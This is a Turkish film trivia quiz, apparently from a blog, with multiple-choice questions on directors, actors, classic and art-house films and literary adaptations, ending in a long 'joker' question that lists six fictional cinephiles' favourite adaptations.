270. “Boğaziçi Üniversitesi – Mithat Alam Film Merkezi”nde hafta boyunca düzenlenen suarelerde, katılanlara ……. külliyatına dahil filmler izlettirilmiştir. Gösteri bittiğinde, izleyicilerden biri söz almış ve şunları söylemiştir: “Dünyada böyle iyi yürekli, güzel insanlar kaldı mı hâlâ. Gerçekten sıcacık, iyimser, umut dolu aile filmleriydi. İçimiz ısındı. Teşekkür ediyoruz.”

Katılımcılar, hangi yönetmenden filmler izlemişlerdir?

a-) Edward Dmytryk
b-) Joseph L. Mankiewicz
c-) Frank Capra
d-) Robert Aldrich
e-) George Cukor

271. Bir oyuncu, bir kelimeyle tanımlanmıştır. Doğru olmayan tanımlama hangisidir?

a-) John Wayne: Erkek
b-) Steve McQueen: Yalnız
c-) Barbara Stanwyck: Meşum
d-) Humphrey Bogart: Umursamaz
e-) Paul Muni: Komik

272.
El Dorado, yolculuk, nehir, vahşi doğa ve “ok”lar… Evet, Herzog/Kinski çalışması ‘Aquirre: Tanrının Gazabı’ (1972) düşer akıllara…
Küpe… Max Ophüls’ün ‘Madame de…‘sindeki karı kocayı hatırlarız.
Televizyon… Yasujiro Ozu’nun ‘Ohayo‘su gelir akıllara.
Kilim… Mohsen Makhmalbaf’ın ‘Gabbeh‘i canlanır zihnimizde.
Kızak… Lamı cimi yok, direkt ‘Citizen Kane‘.
Film bobinleri… Wim Wenders’in muhteşem yol filmi ‘Zamanın Akışında‘ gelmez mi akla!
Leopar… ‘Bringing Up Baby‘ ne muhteşem bir filmdi.

Aşağıda, filmler ve hatırlattıkları sıralanmıştır. Doğru olmayan hangisidir?

a-) Simón del desierto {Luis Bunuel, 1965} — “Sütun”
b-) La strada {Federico Fellini, 1954} — “Zincir”
c-) Stromboli {Roberto Rossellini, 1950} — “Yanardağ”
d-) Il postino {Michael Radford, 1994} — “Yelkenli”
e-) Christiane F. – Wir Kinder vom Bahnhof Zoo {Uli Edel, 1981} — “Uyuşturucu”

273. ‘Queen Christina‘nın “aşkı için tahtından vazgeçmeye hazır kraliçe”si; ‘Ninotckha‘nın “gülmeyen kadın”ı; ‘Camille‘nin “kamelyalı kadın”ı ve sinemanın “soğuk ilahesi”… Kimdir bu efsane oyuncu?

a-) Norma Shearer
b-) Bette Davis
c-) Marlene Dietrich
d-) Bibi Anderson
e-) Greta Garbo

274.
- ….. : Kırsalda geçen film, tarım işçilerini ve onları ezen feodal sahiplerini konu edinir.
- ….. : Şeytana tapan komşularını ve kocasını, potansiyel düşman gören bir kadının gerilimidir.
- ….. : ABD Sivil Savaş dönemlerinde geçen ünlü bir belgeseldir.
- ….. : Sürpriz finalli bir mahkeme klasiğidir.

Bahsi edilmeyen film hangisidir?

a-) Sherman’s March (Sherman’ın Yürüyüşü – 1986) / Ross McElwee
b-) Los santos inocentes (Masum Azizler – 1984) / Mario Camus
c-) Witness for the Prosecution (Beklenmeyen Şahit – 1957) / Billy Wilder
d-) Rosemary’s Baby (Rosemary’in Bebeği – 1968) / Roman Polanski
e-) The Thin Blue Line (İnce Mavi Hat – 1988) / Errol Morris

275.


Yukarıdaki sahne, hangi büyüleyici müzikalden alınmıştır?

a-) High Society (Yüksek Sosyete – 1956) / Charles Walters
b-) Lili (1953) / Charles Walters
c-) Les parapluies de Cherbourg (Cherborg Şemsiyeleri – 1964) / Jacques Demy
d-) Les demoiselles de Rochefort (Rochefortlu Genç Kızlar – 1967) / Jacques Demy
e-) Peau d’âne (Eşek Derisi – 1970) / Jacques Demy

276. Film-Şehir eşleştirmeleri verilmiştir. Yanlış olan hangisidir?

a-) Papillon {1973, Franklin J. Schaffner} — “Fransız Guyanası”
b-) Distant Voices, Still Lives {1988, Terence Davies} — “Liverpool”
c-) Marius {1931, Alexander Korda } — “Marsilya”
d-) L’atalante {1934, Jean Vigo} — “Paris”
e-) The Third Man {1949, Carol Reed} —  “Londra”

277.
- ….., “net alan derinliği”nin sinemadaki en etkili kullanımlarından biridir.
- Jacques Tourneur, klasik dönem gerilim sinemasının önemli isimlerindendir. …… isimli filminde şeytana tapan insanlar görülür.
- Michael Haneke’nin ……sı, evdeki eşyaları yok etmemizi salık veren nihilist bir filmdir.
- Tod Browning’in rahatsız edici filmi ….., Werner Herzog’un cücelere rol verdiği ‘Auch Zwerge haben klein angefangen’i (1970) önceller.

Boşluklara hangi film getirilemez?

a-) Night of the Demon (1957)
b-) Citizen Kane {Yurttaş Kane – 1942}
c-) The Seventh Victim (1943)
d-) Der siebente Kontinent {Yedinci Kıta – 1989}
e-) Freaks {Hilkat Garibeleri – 1932}

278. Quentin Tarantino’ya ilham veren bu kült yönetmenin, militarizm ve ataerkil toplum eleştirili filmleri olduğu gibi (Fighting Elegy), 60′ların Yeşilçam avantürlerini andıran bazı mafyatik çalışmaları da (Tokyo Drifter) vardır. Kimdir bu sıradışı yönetmen?

a-) Kaneto Shindo b-) King Hu c-) Masahiro Shinoda d-) Seijun Suzuki e-) Hiroshi Teshigahara

279. Savaş sonrasının İngiltere’sini ve küçük insanların gündelik öykülerini, sadece ‘Free Cinema’ vermedi. İsmini, başkentteki stüdyolardan alan ……. filmleri de -mizahi bir dille- bu vazifeye soyunanlar arasındaydı. Charles Crichton ve Alexander Mackendrick’in en bilinen temsilcileri olduğu bu filmler, bazen doğrudan 2. savaş dönemini fon edinse de (Mackendrick’in 49′da gelen ‘Whisky Galore!‘si), baskın yön savaş sonrasının sefil Londra’sı idi. Baskın anlatımsa “kara-komedi”… Alt kesimden kahramanların soygun girişimleri ve “suç”, birçok filmin değişmez motifiydi: Şahane ‘The Lavender Hill Mob‘ (1951) gibi… Alec Guinnessli ‘Kind Hearts and Coronets‘ {Yumuşak Kalpler – 1949} yine muhteşem bir deneyimdi… Tabi ‘The Man in the White Suit‘ (1951) ve ‘The Titfield Thunderbolt’ (1953) filmlerini de unutmamalı.
Türün başyapıtı ise 1955 yılında geliyordu: ‘The Ladykillers‘ {Kadın Avcıları}. Mackendrick’in yönetmeni olduğu bu soygun temalı “soğuk” film, noir ve komediyi ustalıkla kaynaştırıyordu.

Bu oldukça kolay sorudaki boş bırakılan yere ne gelmelidir?

a-) Actor’s Studio
b-) Empresyonizm
c-) Ealing
d-) Slapstick
e-) Dolaysız Sinema

280. Özgürlüğüne düşkün bir kadın & Dans ve taverna & Futbolcu-Şarkıcı ilişkisi…

Bu kombinasyon, bizi hangi filme götürecektir?

a-) Alexis Zorbas (1964) / Mihalis Kakogiannis
b-) Un coeur en hiver {Ayazda Bir Yürek – 1992} / Claude Sautet
c-) Pink Flamingos {Pembe Flamingolar – 1972} / John Waters
d-) Stella (1955) / Mihalis Kakogiannis
e-) Die Angst des Tormanns beim Elfmeter {Kalecinin Penaltı Anındaki Endişesi – 1972} / Wim Wenders

281. İsviçreli usta Alain Tanner’in hangi “hoş” filmi, 68 hareketine mensup renkli karakterler barındırır?

a-) Les années lumière {Işık Yılları Ötesinde – 1981}
b-) La salamandre (1971)
c-) Dans la ville blanche {Beyaz Kentte – 1983}
d-) Messidor (1979)
e-) Jonas qui aura 25 ans en l’an 2000 (1976)

282.
- …..: ‘Man of Aran’ ve ‘Nanook of the North’ ile birlikte sac ayağı oluşturur.
- …..: Almanya’nın geçmişiyle hesaplaştığı filmler arasındadır.
- …..: Hapishane filmleri arasında müstesna yer teşkil eder.
- …..: Ölen baba ve cenaze için gelen oğul, manevi bir yolculuğa davetiyedir.

Tanımı yapılmamış film, aşağıdakilerden hangisidir?

a-) Krug vtoroy {The Second Circle – 1990} / Aleksandr Sokurov
b-) Le Trou (1961) / Jacques Becker
c-) Louisiana Story (1948) /  Robert J. Flaherty
d-) Die morder sind unter uns {Katiller Aramızda – 1946} / Wolfgang Staudte
e-) Sanatorium pod klepsydra (1973) / Wojciech Has

283. Hangi bilgi doğrudur?

a-) Adı gibi cehennemi bir evlilik tasviri olan ‘L’enfer’, 90′ların ilk yarısında gelen bir Claude Chabrol filmidir.
b-) Marx Brothers’in bıyıklı olanı (Groucho), kardeşlerin filmlerinde sıklıkla “arp” çalarken görülmektedir.
c-) ‘Buffet froid’ (Soğuk Büfe – 1979), tüketim toplumuna ve ataerkil düzene dair ciddi eleştiriler barındırır.
d-) ‘Urga’ ve ‘Güneş Yanığı’ (Utomlennye solntsem), Mikhail Kalatozov’un’un 90′ların ilk yarısında imza attığı işleridir.
e-) ‘Brighton Rock’ (1947) adlı gangster filminde sir Alec Guinness, 8 ayrı karakteri birden canlandırmıştır.

284.
- Goodfellas (Sıkı Dostlar – 1990) / Martin Scorsese
- Se7en (Yedi – 1995) / David Fincher
- Funny Games (Ölümcül Oyunlar – 1997) / Michael Haneke
- Halloween (Cadılar Bayramı – 1978) / John Carpenter
- Seul contre tous (Herkese Karşı Tek Başına – 1998) / Gaspar Noe

Üstteki filmlerin hangilerinin açılış sekansında, doğrudan rahatsız edici “şiddet & ölüm & kan” görüntüleri yer almaz?

a-) Goodfellas — Se7en
b-) Se7en — Seul contre tous
c-) Funny Games — Halloween
d-) Halloween — Goodfellas
e-) Seul contre tous — Funny Games

285. Aşağıdaki klasiklerden hangisi, kara filmlerin değişmez figürlerinden olan “öldürücü, tehlikeli, entrika ustası, yıkım vaat eden kadınlar”dan (Femme Fatale) birini barındırmaz?

a-) The Magnificient Ambersons {Muhteşem Ambersonlar – 1942} / Orson Welles
b-) Leave Her to Heaven {Onu Cennete Bırak – 1945} / John M. Stahl
c-) The Letter {Mektup – 1940} / William Wyler
d-) Jezebel (1938) / William Wyler
e-) Double Indemnity {Çifte Tazminat – 1944} / Billy Wilder

286.
- Polisler tarafından kuşatılan bir otelde, kapana kıstırılmış katil…
- Kitlesel korkuya kapılan bir kasabanın yalnız bırakılmış kahramanı…
- Vicdani bir ikilem altında kalan din adamı…
- 30′ların hoşgörü yoksunu büyük buhran toplumunca linç edilmek istenen adam…

Zor durumda kalmış dört film karakterinden bahsedilmiştir. Hangi seçenekteki film dışarıda kalır?

a-) I Confess {İtiraf Ediyorum – 1953} / Alfred Hitchcock
b-) High Noon {Kahraman Şerif – 1952} / Fred Zinnemann
c-) Le jour se lève {Gün Ağarıyor – 1939} / Marcel Carne
d-) Fury {Öfke – 1936} / Fritz Lang
e-) Le juge et l’assassin {Yargıç ve Celladı – 1976} / Bertrand Tavernier

287. “Yürürlüğe giren 5 Yıllık Kalkınma Planı boyunca … şehrinde ne oldu? Yeterli kömür yoktu.”

…hangi propaganda filminde geçen bir ara yazıdır?

a-) Staroye i novoye {Eski ve Yeni – 1929} / Sergei M. Eisenstein
b-) Entuziazm: Simfoniya Donbassa {Donbassa Senfonisi – 1931} / Dziga Vertov
c-) Dezertir {Firari – 1933} / Vsevolod Pudovkin
d-) Arsenal {Cephanelik – 1928} / Aleksandr Dovzhenko
e-) Okraina (1933) / Boris Barnet

288.
- 7. sanatın büyük illüzyonisti Fellini, keyifli bir dolandırıcılık hikayesine imza atıyor…
- Visconti, Sicilya’daki balıkçıların zahmetli yaşamlarına ve bilinçlenme süreçlerine eğiliyor…

Bahsi edilen iki filmi bulunuz?

a-) Il bidone (1955) — La terra trema: Episodio del mare (Yer Sarsılıyor – 1948)
b-) Lo sceicco bianco (1952) — Riso amaro (Acı Pirinç, 1949)
c-) I vitelloni (1953) — Riso amaro (Acı Pirinç, 1949)
d-) Luci del varietà (1950) — Bellissima (1952)
e-) Il tetto (1956) — La terra trema: Episodio del mare (Yer Sarsılıyor  – 1948)

289.
* Şehirler arası yolculuk ve bir yemek masasında geçirilen uzun kriz anlarıyla hatırlanabilecek Trier filmi.
* Chabrol’un, kadınlar arası ilişkilerle öne çıkan sansasyonel filmi.
* Westernlerin yönetmeninden, İrlanda’nın kırsallarında geçen bir aşk hikayesi.
* Bir caz biyografisi.

Bahsi edilmeyen film hangisidir?

a-) Les biches {Ceylanlar – 1968}
b-) Forbrydelsens element {Suç Unsuru – 1984}
c-) The Quiet Man {Sessiz Adam – 1952}
d-) Bird (1988)
e-) Epidemic {Salgın – 1987}

290.Berlin: Die Sinfonie der Grosstadt‘ {1927 – Walter Ruttmann}, ‘Fellini’s Roma‘ {1972 – Federico Fellini} ve ‘Chelovek s kino-apparatom‘ {1929 – Dziga Vertov}…
Sinemanın “şehirle” kurduğu dolaysız ilişkinin örnekleridir. Adeta birer şehir güzellemeleridir. Kamera, şehrin günlük ritmini tasvir eder. Yarı-belgesel bir üslup takınılır. Öyle ki; Vertov, ‘Kameralı Adam’da ekranı birkaç parçaya bölmek gibi biçimsel illüzyonlara girmese, izlediğimiz şeyin bir film olduğunu hatırlamayabilirdik.

Aşağıdakilerden hangisi, bu tarz filmlerden biri değildir?

a-) News from Home (1977) / Chantal Akerman
b-) Menschen am Sonntag (1930) /  Curt & Robert Siodmak
c-) A propos de nice (1930) / Jean Vigo
d-) Listen to Britain (1942) / Humphrey Jennings
e-) Roma ore 11 (1952) / Giuseppe De Santis

291. Suat Özçayan, 30 yaşında çiçeği burnunda bir avukattır. Geçtiğimiz Pazar, onun için en buruk Anneler Günü olmuştur. 6 ay evvel elim bir kaza neticesinde vücudunun yarısından fazlası felç olan annesi, oğlunun karşısına ötenazi isteğiyle çıkmıştır.

Gerek annenin isteği, gerekse Suat Bey’in mesleği göz önüne alındığında… Aşağıdaki yönetmenlerden hangisinin -ismi saklı- bir adet filmi, genç avukatımızda o anki durumuna ilişkin hisler uyandırabilir, paralellikler kurdurabilir?
İPUCU: Zor bir sorudur. Film bilinmese de, Suat bey’in mesleğinden (hukukçu) hareketle yönetmen tahmini yapılabilir.

a-) Andre Cayatte b-) Gianni Amelio c-) Henry Cornelius d-) Alf Sjöberg e-) Serge Bourguignon

292. Aşağıdakilerden hangisi doğru değildir?

a-) 1990′lar yapımı ‘Profundo carmesi’; Bonnie and Clyde, In Cold Blood, The Honeymoon Killers ve Natural Born Killers benzeri filmlerin izinden gitmiştir? /// Frank Capra, 37 yapımı ‘Lost Horizon’da “Shangri-La” adlı ütopik bir dünya çizmiştir.
b-) Blaxploitation, 70′lerde zirve yapmış “zencilerin başkaldırısı” temalı filmlerdir. /// Raoul Ruiz, kariyeri boyunca soyut/şiirsel çalışmalarıyla öne çıkmış bir yönetmendir.
c-) John Grierson, belgeselle (Kuzey Denizi’ndeki balıkçılara eğilen 29 yapımı ‘Drifters’ unutulur mu); Kenneth Anger ise deneyselle özdeşleşmiş isimlerdir. /// Sessiz döneme tarihli ‘Kurutta ippêji’, Japon Sineması’nın ilk büyük örneklerinden biridir.
d-) ‘Bab el hadid’ {Merkez Garı – 1958}, çizdiği pembe gerçekliğiyle Yusuf Şahin filmografisinin ayrık otu gibidir. /// 1974 yapımı ‘Thieves Like Us’, Robert Altman’ın ‘Nashville’ (1975) öncesi imza attığı ısınma müzikalidir.
e-) Milan Kundera’nın ‘Zert’i (Şaka), 60′ların Doğu Bloğu sinemasınca perdeye uyarlanmıştır. /// ‘Balanta’nın (1992) yönetmeni Lucian Pintilie, Romanya Sineması’nın demirbaş isimlerindendir.

293.  Zizek, “Yamuk Bakmak“ta Hitch sinemasını Freudyen zaviyeden incelemişti.

Birileri sanat yapar, birileri ise o yapılmış sanatı eleştirir. Kaide bu. Ancak biz birilerine değil “yapana” kulak verelim… Aşağıda, “yönetmen – kitap” eşleştirmeleri yapılmıştır. Hangi kitap, yanlış bir yönetmenle ilişkilendirilmiştir?

a-) “Kurbağa Yağı Satıcısı” — Billy Wilder
b-) “Mühürlenmiş Zaman” — Andrei Tarkovski
c-) “Son Nefesim” — Luis Bunuel
d-) “Büyülü Fener” — Ingmar Bergman
e-) “Sinema Dersleri” — Sergei Eisenstein

294. Jean-Luc Godard’ın, Anna Karinalı kadın filmlerinden ve bir takım aşırılıklardan (Week End, Çılgın Pierrot ve bol “komün”lü Çinli Kız) sonra yöneldiği politik/ajitatif/deneysel “Dziga Vertov Grubu” filmleri, 1980′ler ile sona ermiştir. Godard, bu sona eriş dönemlerinde imza attığı …… ile Yeni Dalga’nın bir tür “şiir sanatı” olduğunu ortaya koymuştur.

Boş bırakılan yere hangi film getirilmelidir?

a-) Prénom Carmen {Adı Carmen}
b-) Passion {Çile}
c-) Tout va bien {Herşey Yolunda}
d-) Sauve qui peut (la vie) {Herkes Başının Çaresine Baksın}
e-) 2 ou 3 choses que je sais d’elle {Onun Hakkında Bildiğim 2 Ya da 3 Şey}

295. Enki Bilal’in, geleceğin totaliter Avrupa’sını -sığınaklara bölünmüş halde- resmettiği fütüristik çalışma aşağıdakilerden hangisidir?

a-) Hôtel Terminus (1988)
b-) Jubilee (1977)
c-) Hôtel des Amériques (1981)
d-) Bunker Palace Hotel (1989)
e-) The Quiet Earth (1985)

296. Nisan Akman’ın ‘Beyaz Bisiklet’i (1986), duygusal janrın hangi önemli parçasının Türk versiyonudur?

a-) Petulia (1968) / Richard Lester
b-) Loulou (1980) / Maurice Pialat
c-) A nos amours (1983) / Maurice Pialat
d-) La dentelliere (1977) / Claude Goretta
e-) Julia (1977) / Fred Zinnemann

297. Beyazperdenin ‘Sissi’si Romy Schneider, seven bir kadındır yine. Film boyunca o denli buğulu bakar ki, etkilenirsiniz. Zaten bir intiharla son bulan kısacık ömrü de hüzünlü olmamış mıdır! ‘L’important c’est d’aimer‘ {İşte En Önemli Şey: Aşk – 1975} isimli filmden bahsediyoruz. İkinci sınıf/erotik filmlere düşmüş bir aktrisin, fotoğrafçı bir gençle yaşadığı ilişki konu edilir. Kanlı bir prova sahnesiyle açılış yapar, tutkulu bir ilişkiyle devam eder, kanlı ve şiddetli sahnelerle de noktayı koyar film. Ancak bu son gördüğümüz kan, bir oyunun parçası değildir.

Üstteki filmin de yönetmenliğini yapan aşağıdaki Polonyalı maestroların hangisi, diğer vatandaşlarına “nispetle” kadının dünyasına daha yakın durmuştur? “Benim Gecelerim, Senin Günlerinden Daha Güzel” demiştir?

a-) Andrzej Zulawski
b-) Jerzy Skolimowski
c-) Andrzej Wajda
d-) Jerzy Kawalerowicz
e-) Andrzej Munk

298. Polonya ile devam edelim yine. ‘Constans‘ ve ‘Sakin Güneş Yılı‘ gibi iki kült filmin yönetmeniyle…

Krzysztof Zanussi’nin, 70′lerin politik ortamı üzerine tesis edilmiş bir filmi vardır. Yeşil doğadaki bir yaz okulunda geçen bu filmde, hafiften bir 2. dönem Godard havası da vardır. Felsefik bir çalışmadır; diyaloglar bu minvalde ilerler çoğu kez. Düşünen, rejimi sorgulayan bir üniversite gençliği ve öğretmenlerini görürüz. Çeşitli münazaralara şahit oluruz. (Tabii göl tarafında geçen müstehcen sahneler var bir de. Yer yer akışı bozuyorlar.)
Bu “önemli” film aşağıdakilerden hangisidir?

a-) Iluminacja {Aydınlanma – 1973}
b-) Bilans kwartalny {Bilanço – 1975}
c-) Spirala {Spiral – 1978}
d-) Kontrakt {Evlilik Sözleşmesi – 1980}
e-) Barwy ochronne {Kamuflaj – 1977}

299. Coen’lerin en matrak filmlerinden olan ‘The Big Lebowski’de (Büyük Lebowski – 1998), “Dude” ilk kez hangi anlarla karşımıza çıkar?

a-) Markette alışveriş yaparken…
b-) Sahilde jogging yaparken…
c-) Bowling oynarken…
d-) Bir pubda içerken…
e-) Halısına işenirken…

300. “Bir taşla üç kuş vuracaklar: Muhalif mebusların gürültüsünü, paşaların ordudaki nüfuzunu ve İttihatçılığın kökünü hep birden kazıyacaklar!” (Kurt Kanunu – 1991)

Milliciler ve Batıcılar, 1960′lar Türk Sineması’nda keskin bir kamplaşma oluşturmuşlardı. Halit Refiğ’in filmleri, özellikle de ‘Haremde Dört Kadın‘ ve ‘Bir Türk’e Gönül Verdim‘, milli sinemanın arter filmleriydi. Bir de “Beyaz Sinema” vardı. Milli kanada yakın duran bu sinema, din ve inanç hassasiyetleri ile örülüydü. Yücel Çakmaklı’nın ‘Kızım Ayşe‘, ‘Oğlum Osman‘ ve ‘Birleşen Yollar‘ı, Beyaz Sinema’nın 70′lerin başındaki meyvelerindendi.
90′ların ilk yıllarına gelindiğinde ise… Hangi iki Beyaz Sinema örneği, “türban” meselesi ile öne çıkmaktaydılar?

a-) Çizme & Sevdaların Ölümü
b-) Sonsuza Yürümek & Yalnız Değilsiniz
c-) Sevdaların Ölümü & Sonsuza Yürümek
d-) Yalnız Değilsiniz & Çizme
e-) Sevdaların Ölümü & Yalnız Değilsiniz

————————————————————————————————————————————————————-
————————————————————————————————————————————————————-

301. * JOKER SORU * (Tek Soruda ALES)

– Yüksek lisansa -şimdiden- vize veren sorudur. SYS’yi kazananlar girebilir.
– Sinema ve Edebiyat kaynaşımlıdır. Önceki soruların aksine, edebiyat bilgisi 1. dereceden ölçme konusu olmuştur.
– Listelerdeki tüm filmler, çoğunluğu roman olmak üzere, edebiyat uyarlamasıdır.
– Boşluk doldurma formatlıdır ve 10 adet sorunun en az 8′ini hatasız/tam doldurabilen, mezun olduğunda yüksek lisansa -otomatikman- hak kazanır.

6 sinema sever ve başucu filmleri:

* Cihan
22 yaşında
Favori Sinema Kitabı: “Film Sanatı” (David Bordwell & Kristin Thompson)

— ‘The Sea Wolf’ {Deniz Kurdu – 1941} / Michael Curtiz
Jack London’dan uyarlama
— ‘The Magus’ {Büyücü – 1968} / Guy Green
John Fowles’den uyarlama
— ‘White Fang’ {Beyaz Diş – 1991} / Randal Kleiser
Jack London’dan uyarlama
— ‘La tempesta’ {1958} / Alberto Lattuada & Michelangelo Antonioni
Puşkin’den uyarlama
— ‘Dangerous Liaisons’ {Tehlikeli İlişkiler – 1988} / Stephen Frears
de Laclos’dan uyarlama
— ‘La religieuse’ {Rahibe – 1966} / Jacques Rivette
Diderot’tan uyarlama
— ‘Dervis i smrt’ {Derviş ve Ölüm – 1974} / Zdravko Velimirovic
Meşa Selimoviç’den uyarlama
— ‘Catch-22′ {Madde 22 – 1970} / Mike Nichols
Joseph Heller’den uyarlama
— ‘Wide Sargasso Sea’ {Mutluluk Sahili – 1993} / John Duigan
Jean Rhys’den uyarlama
— ‘The Naked and the Dead’ {Çıplak ve Ölü – 1958} / Raoul Walsh
Norman Mailer’den uyarlama
— ‘The Time Machine’ {1960} / George Pal
H.G. Wells’den uyarlama
— ‘Le rouge et le noir’ {Kızıl ve Kara – 1954} / Claude Autant-Lara
Stendhal’dan uyarlama
— ‘Wuthering Heights’ {Uğultulu Tepeler – 1939} / William Wyler
Emily Brontë’den uyarlama
— ‘A Portrait of the Artist as a Young Man’ {1977} / Joseph Strick
James Joyce’den uyarlama

* * *

* Ali
26 yaşında
Favori Sinema Kitabı: “Dünya Sinema Tarihi” (Geoffrey Nowell Smith)

— ‘The Roots of Heaven’ {Cennetin Kökleri – 1958} / John Huston
Romain Gary’den uyarlama
— ‘Sons and Lovers’ {Oğullar ve Sevgililer – 1960} / Jack Cardiff
D.H. Lawrence’den uyarlama
— ‘Justine’ {İkili Oyun – 1969} / George Cukor & Joseph Strick
Lawrence Durrell’in “İskenderiye Dörtlüsü”nden uyarlama
— ‘Le education sentimentale’ {Duygusal Eğitim – 1962} / Alexandre Astruc
Gustave Flaubert’ten uyarlama
— ‘Le journal du séducteur’ {Baştan Çıkarıcının Günlüğü – 1996} / Danièle Dubroux
Soren Kierkegaard’dan uyarlama
— ‘The Collector’ {Korkunç Koleksiyoncu – 1965} / William Wyler
John Fowles’den uyarlama
— ‘Tess’ {1979} / Roman Polanski
Thomas Hardy’den uyarlama
— ‘Far from the Madding Crowd’ {Çılgın Kalabalıktan Uzakta – 1967} / John Schlesinger
Thomas Hardy’den uyarlama
— ‘Stille dage i Clichy’ {Clichy’de Sessiz Günler – 1970} / Jens Jørgen Thorsen
Henry Miller’den uyarlama
— ‘Herr Puntila und sein Knecht Matti’ {Bay Puntila ile Uşağı Matti – 1960} / Alberto Cavalcanti
Brecht’ten uyarlama
— ‘Homo Faber’ {1991} / Volker Schlöndorff
Max Frisch’den uyarlama
— ‘Lady Chatterley’s Lover’ {1981} / Just Jaeckin
D.H. Lawrence’den uyarlama
— ‘The Picture of Dorian Gray’ {Dorian Gray’in Portresi – 1945} / Albert Lewin
Oscar Wilde’den uyarlama
— ‘Nana’ {1926} / Jean Renoir
Emile Zola’dan uyarlama
— ‘Gervaise’ {Sen Bir Melektin – 1956} / Rene Clement
Emile Zola’dan uyarlama
— ‘Le vice et la vertu’ {Kardeş Kanı – 1963} / Roger Vadim
Marquis De Sade’nin “Justine”sinden uyarlama
— ‘The Balcony’ {Balkon – 1963} / Joseph Strick
Jean Genet’ten uyarlama
— ‘Un chant d’amour’ {Bir Aşk Şarkısı – 1950} / Jean Genet
Jean Genet’ten uyarlama

* * *

* Deniz
30 yaşında
Favori Sinema Kitabı: “Bir Film Nasıl Okunur” (James Monaco)

— ‘Germinal’ {1993} / Claude Berri
Emile Zola’dan uyarlama
— ‘Dune’ {1984} / David Lynch
Frank Herbert’ten uyarlama
— ‘Il deserto dei tartari’ {Tatar Çölü – 1976} / Valerio Zurlini
Dino Buzzati’den uyarlama
— ‘The Last Temptation of Christ’ {Günaha Son Çağrı – 1988} / Martin Scorsese
Nikos Kazancakis’den uyarlama
— ‘Der junge Törless’ {Genç Törless – 1966} / Volker Schlöndorff
Robert Musil’den uyarlama
— ‘Cronaca di una morte annunciata’ {Kırmızı Pazartesi – 1987} / Francesco Rosi
Gabriel García Márquez’den uyarlama
— ‘Klassenverhältnisse’ {Sınıf İlişkileri – 1984} / Danièle Huillet, Jean-Marie Straub & ‘Le proces’ {Dava – 1962} / Orson Welles
Kafka’dan uyarlamalar
— ‘Ulysses’ {1967} Joseph Strick
James Joyce’den uyarlama
— ‘The French Lieutenant’s Woman’ {Fransız Teğmenin Kadını – 1981} / Karel Reisz
John Fowles’den uyarlama
— ‘The Sound and the Fury’ {Ses ve Öfke – 1959} / Martin Ritt
William Faulkner’den uyarlama
— ‘Mrs Dalloway’ {1997} / Marleen Gorris
Wirginia Woolf’tan uyarlama
— ‘The Bell Jar’ {Sırça Fanus – 1979} / Larry Peerce
Sylvia Plath’tan uyarlama

* * *

* Rıdvan
28 yaşında
Favori Sinema Kitabı:Saniyede 24 Kare Ölüm” (Laura Mulvey)

— ‘La peste’ {Veba – 1992} / Luis Puenzo
Camus’dan uyarlama
— ‘Lo straniero’ {Yabancı – 1967} / Luchino Visconti
Camus’dan uyarlama
— ‘The Fountainhead’ {Hayatın Kaynağı – 1949} / King Vidor
Ayn Rand’dan uyarlama
— ‘Nineteen Eighty-Four’ (1984) / Michael Radford
George Orwell’den uyarlama 
— ‘Wir’ {Biz – 1981} / Vojtech Jasny
Yevgeni Zamyatin’den uyarlama
— ‘Lord of the Flies’ {Sineklerin Tanrısı – 1963} / Peter Brook
William Golding’den uyarlama
— ‘Pit and the Pendulum’ {Kuyu ve Sarkaç – 1961} / Roger Corman
Edgar Allan Poe’den uyarlama
— ‘The Raven’ {Kuzgun – 1963} / Roger Corman
Edgar Allan Poe’den uyarlama
— ‘Brave New World’ {Cesur Yeni Dünya – 1998} /  Leslie Libman
Aldous Huxley’den uyarlama
— ‘La vie devant soi’ {Onca Yoksulluk Varken – 1977} / Moshé Mizrahi
Romain Gary’den uyarlama
— ‘Slaughterhouse-Five’ {Mezbaha No 5 – 1972} / George Roy Hill
Kurt Vonnegut’dan uyarlama
— ‘The House of the Spirits’ {Ruhlar Evi – 1993} / Bille August
Isabel Allende’den uyarlama
— ‘The Handmaid’s Tale’ {Damızlık Kızın Öyküsü – 1990} / Volker Schlöndorff
Margaret Atwood’dan uyarlama
— ‘Moby Dick’ {1956} / John Huston
Herman Melville’den uyarlama
— ‘Bartleby’ {Katip Bartleby – 1972} / Anthony Friedman
Herman Melville’den uyarlama

* * *

* Eyüp
36 yaşında
Favori Sinema Kitabı: Sinemada Yönetmenlik, Oyunculuk, Kurgu” (Edward Dmytryk)

— ‘The Dead’ {1987} / John Huston
James Joyce’den uyarlama
— ‘La société du spectacle’ {Gösteri Toplumu – 1973} / Guy Debord
Guy Debord’dan uyarlama
— ‘Il maestro e Margherita’ {Usta ve Margarita – 1972} / Aleksandar Petrovic
Mihail Bulgakov’dan uyarlama
— ‘Malina’ {1991} / Werner Schroeter
Ingeborg Bachmann’dan uyarlama
— ‘Buddenbrooks – 1. Teil’ {Buddenbrooklar – 1959} / Alfred Weidenmann
Thomas Mann’dan uyarlama
— ‘Un homme qui dort’ {Uyuyan Adam – 1974} / Bernard Queysanne
Georges Perec’den uyarlama
— ‘Christiane F. – Wir Kinder vom Bahnhof Zoo’ {1981} / Uli Edel
Kai Hermann’dan uyarlama
— ‘La symphonie pastorale’ {Pastoral Senfoni – 1946} / Jean Delannoy
Andre Gide’den uyarlama
— ‘Tikhiy Don’ {Ve Durgun Akardı Don – 1957} / Sergei Gerasimov
Şolohov’dan uyarlama
— ‘Codine’ {Kodin – 1963} / Henri Colpi
Panait Istrati’den uyarlama
— ‘Dzhamilya’ {Cemile – 1969} / Irina Poplavskaya & Sergei Yutkevich
Cengiz Aytmatov’dan uyarlama
— ‘Schachnovelle’ {Satranç – 1960} / Gerd Oswald
Stefan Zweig’den uyarlama
— ‘The Music of Chance’ {Şans Müziği – 1993} / Philip Haas
Paul Auster’den uyarlama
— ‘Lady Windermere’s Fan’ {1925} / Ernst Lubitsch
Oscar Wilde’den uyarlama

* * *

* Esra
25 yaşında
Favori Sinema Kitabı: “Hitchcock” (François Truffaut)

— ‘Der Zauberberg’ {Büyülü Dağ – 1982} / Hans W. Geissendörfer
Thomas Mann’dan uyarlama
— ‘Ask the Dust’ {Toza Sor – 2005} / Robert Towne
John Fante’den uyarlama
— ‘Factotum’ {2005} / Bent Hamer
Bukowski’den uyarlama
— ‘Storie di ordinaria follia’ {Sıradan Delilik Öyküleri – 1981} / Marco Ferreri
Bukowski’den uyarlama
— ‘L’écume des jours’ {Günlerin Köpüğü – 1968} / Charles Belmont
Boris Vian’dan uyarlama
